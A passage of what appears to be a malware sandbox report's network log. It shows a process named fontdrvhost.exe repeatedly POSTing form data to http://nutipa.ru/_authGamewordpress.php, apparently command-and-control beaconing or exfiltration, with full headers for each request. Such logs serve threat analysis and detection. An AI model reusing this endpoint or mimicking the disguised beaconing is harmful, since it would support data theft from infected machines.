      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jZQi1tMjJFMDHZyA6ifpbepveKT653pSzSkHNiKHOzg2XeaqagXGkgrHoSVM29J7Y%2FKapKJdeIrK2xR7Sk5kjC03bKElwdfSfeIMnEvS5OFrmU%2FFw3SZGy0kyJ8%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346049ce77713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29206&min_rtt=28507&rtt_var=621&sent=154&recv=148&lost=0&retrans=0&sent_bytes=36441&recv_bytes=64925&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:25 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KcdJepyTBUamIgnD31ekEbjXye437kLMTbmYEJwpuaqW%2Fp3XgiYANTwNhsYyO3FbG85kmrExGV%2BkASb9L9K%2B4sodvcaQcGMeKb7li5ZJzOkYjTz2W2ZQH2u4M%2BY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33460bc85e7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29181&min_rtt=28507&rtt_var=451&sent=159&recv=153&lost=0&retrans=0&sent_bytes=37416&recv_bytes=66744&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:26 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rIBkf4vzdJ18VUt9KNff5i9kn7%2BqPjUhNWyj9xislnQym5QgQTbnMo9OaIvRO4hZiqH3EOleRX6ybL6HR7fn9DMl1Lv4yNGyyX%2F5W7VDjOsYqXgef0mO%2BTjPJt4%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346131c947713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29129&min_rtt=28507&rtt_var=348&sent=164&recv=157&lost=0&retrans=0&sent_bytes=38395&recv_bytes=68563&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:27 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TuK19zBXwo%2BVuO8G8EewLE65wOBqufTMzNFbDokhaLBsCNqr9q3Q3XGBDMr1lBeR6UZTvOBiXSbo92HCLNiy0HDmhncLGmKPPuwBcCKz0Kgn506neI0fhW82Oxc%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33461aa8f67713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30840&min_rtt=28507&rtt_var=2805&sent=168&recv=161&lost=0&retrans=0&sent_bytes=39372&recv_bytes=70382&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:28 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mbNzqdhtNhVRbPAACtis8FHWx4OeRDnQG9TOYmjXT6APflmAD3%2B2jv%2FkukRNMyNfuTW5o61bnX4fsoajakuKOUqhtJ94Fd92p1Bp4hrtINXFwA8P%2FzO7mXh3Up4%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334621fdd47713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30496&min_rtt=28507&rtt_var=2188&sent=172&recv=165&lost=0&retrans=0&sent_bytes=40346&recv_bytes=72201&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:29 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fyX%2FDmtToNq32igLgF2FvNkljRo60vRcdTUGbYJ2KkFRGFOVaaQs5ORi5cE1tSqbBDMrpuXMgij%2F4H6g08Dx0osTxDlivxU3zZLQWBeKEAG5U%2F%2Bx8L43gLcNKl8%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33462939f77713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30103&min_rtt=28507&rtt_var=1912&sent=176&recv=169&lost=0&retrans=0&sent_bytes=41324&recv_bytes=74020&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:30 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nNwI98ZvSpPRkiNPClEiTl2%2BaWQXm%2Fk5Dg1IZlppGbpH9yPqrKuC9gLcsj2CCpIcrL2LCEcD4q73jt8SHXJE0WDniD%2Bl9gIB1y2d12ySQ%2FfZWiJXWgQhsoyep7s%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346306e9b7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30154&min_rtt=28507&rtt_var=1596&sent=180&recv=173&lost=0&retrans=0&sent_bytes=42304&recv_bytes=75839&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:32 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z07pQuw3HucEqK76rMIjDL8bF10Z5za5BwHZ9T2OD%2FNHWhSQYyR4YGwjLNwKTOMa3lE5S3k%2FRt5Vh4HjpqER3LJ1RVRtmoa1K%2BuXz37c9%2Ft2v2DKGHq7fQjqtto%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346393bb87713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30287&min_rtt=28507&rtt_var=1631&sent=184&recv=177&lost=0&retrans=0&sent_bytes=43284&recv_bytes=77658&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:33 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fu2RYujmcMYwNlVVV3sXyqaG7WRzdQdGAxEnVU2EuMOQWE2a2JRdhNxdv%2B5WhzfGQW0B29R%2BAP%2FXu1zdOji3aCqV96qQQ2vugOce83rvryvNFzBQV7qfpzikXho%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33464078c07713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30398&min_rtt=28507&rtt_var=1716&sent=188&recv=181&lost=0&retrans=0&sent_bytes=44264&recv_bytes=79477&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1528
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:34 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5%2Bs2jYMDk4XzuNOxXpAGggNpqw2qS0sdJ14rzD38gKm9vlMiCnAINEl%2FUTyyeaZgHiDioU0f%2BB5AyHJJrFbN1m9U3AC1nraf%2B5Y2BLvbltTUqrPszmsODD2ZsXA%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334647cd0f7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=31603&min_rtt=28507&rtt_var=3177&sent=192&recv=185&lost=0&retrans=0&sent_bytes=45242&recv_bytes=81284&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:36 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wfJfPN0sWJlJmZF9mhDEfR97NKBCwp5ujgfdzqcd%2FzaDAectngjxZewgPyoS18eZbf3ohNdBN%2FBvCSDJ3yCqeO7Z7dBTziWtP3%2FoBECdeCWQGrj8sHBsa5Eqhz4%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33464f09797713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=31235&min_rtt=28507&rtt_var=3118&sent=199&recv=190&lost=0&retrans=1&sent_bytes=46247&recv_bytes=83103&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:37 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KhySF%2BP8Iosg%2F%2BtKolD5tkwA1Ap8kHj7tag%2F8ho1CFUte9lFYaVBNaw2iBum05WstUWDA%2FMyys2qNA%2F7610zPCOwmW%2Ba8SbE4KIlDSFk9Kz3Lc8OJcnpLYEnxf0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334657dec37713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30957&min_rtt=28507&rtt_var=2406&sent=204&recv=194&lost=0&retrans=1&sent_bytes=47225&recv_bytes=84922&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:38 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ej8vOZCMBIyfWO2PvSUnlzdpDH%2ByiLVXHEzT1YIjh1LSZo8R9DlR4NM6h%2FMZXzn5dEfqA8OVmVIKxR65%2BoYXi8CPI01yl9scsKnAny2MSUhxOvozytnyjWU3SBU%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33465f1b7b7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30743&min_rtt=28507&rtt_var=1676&sent=208&recv=198&lost=0&retrans=1&sent_bytes=48211&recv_bytes=86741&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:39 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a6aUDFfo39IkzV%2BouzOfi5S5mMPxjnYz13FB18rJ0ueZWEdPUegxDeP%2Bi2IHtlSMCocvcuakwb13GIcRYW3utEgueN%2BaJ3Ii2rZi%2BwUySHQQqGST8qrkg6aKuww%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33466658467713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30313&min_rtt=28507&rtt_var=1650&sent=212&recv=202&lost=0&retrans=1&sent_bytes=49189&recv_bytes=88560&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:40 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pNeE7j5E2GMikrsQO6VYvRvzfK%2FmXMwTxTGau9X9mAz%2Bv9%2BMj4WMYohThp59Co31w%2BYTdjgWSKZiDyC5WdtaH7%2F4oeJ0zGyvLGPzdwrGHofb%2FxYtCSls7VapwfQ%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33466d8c707713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29973&min_rtt=28507&rtt_var=1533&sent=216&recv=206&lost=0&retrans=1&sent_bytes=50169&recv_bytes=90379&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:41 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2uBjWMTPiogJzHpEljIhUSbOShm47jtrMwD7S%2BaKayLk8aq4uvnWBhazfGxVyPM0C9lvWa6UKl96sSyRhJgpH3Pk7BZtU62X%2FH2wKn7J%2BWpRn1hF9pSEdErxOI8%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334674c8f17713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30725&min_rtt=28507&rtt_var=2859&sent=220&recv=210&lost=0&retrans=1&sent_bytes=51153&recv_bytes=92198&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:43 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LP0sOwezOE6AqkRXQRRzoZE6i8ZZlkloTEsivKMAIQJo5iYzMv5nvsd5r6PW5FxnrMnnN2pJ8iywgRJK3VlqxC3WuQz7tNNn%2BL97uchPO5nzdXz3wrd2kRx%2FZ2g%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33467c0ec37713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30344&min_rtt=28507&rtt_var=2242&sent=224&recv=214&lost=0&retrans=1&sent_bytes=52131&recv_bytes=94017&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:44 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WjdZi5KZlO%2B1t4zU%2FIVi1c%2FR1N0tTFu0W%2BaME4w9hp7Quf3qmfdV7mC0P8yhoYSYlIjny5Be3NmHW0hSxfM%2B7%2FWwLj3MRweURid571u2oy77n0%2B%2BxWZXxabDUYY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346833d0c7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30032&min_rtt=28507&rtt_var=1797&sent=228&recv=218&lost=0&retrans=1&sent_bytes=53107&recv_bytes=95836&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:45 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oAyak5gxQuca0SDjXXxFG3VtplagvOlSyXGBHlpEN6%2FjKMdMEz3bHyBhS2IjA9ymIpOrW5tz4t6ocsSKpV8yaJ0mRWkWkIpLaqQHu2vEaegQ%2BOQ3kLio%2BQAs%2FcE%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33468a7a1a7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29705&min_rtt=28507&rtt_var=1573&sent=232&recv=222&lost=0&retrans=1&sent_bytes=54095&recv_bytes=97655&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:46 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZvdYG0%2BMWLBcJoCRT539TMPLbhDZ7hwzRiHlsP8LEe873VTBlonJek6zeWnzwG5liCSN%2B0ihKyxstJ2qKyht8O1iAKE%2B%2FN2%2BOTnm3WsbRU3po%2F3pb2PphxIbxhI%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334691af407713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29509&min_rtt=28379&rtt_var=1199&sent=236&recv=226&lost=0&retrans=1&sent_bytes=55075&recv_bytes=99474&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
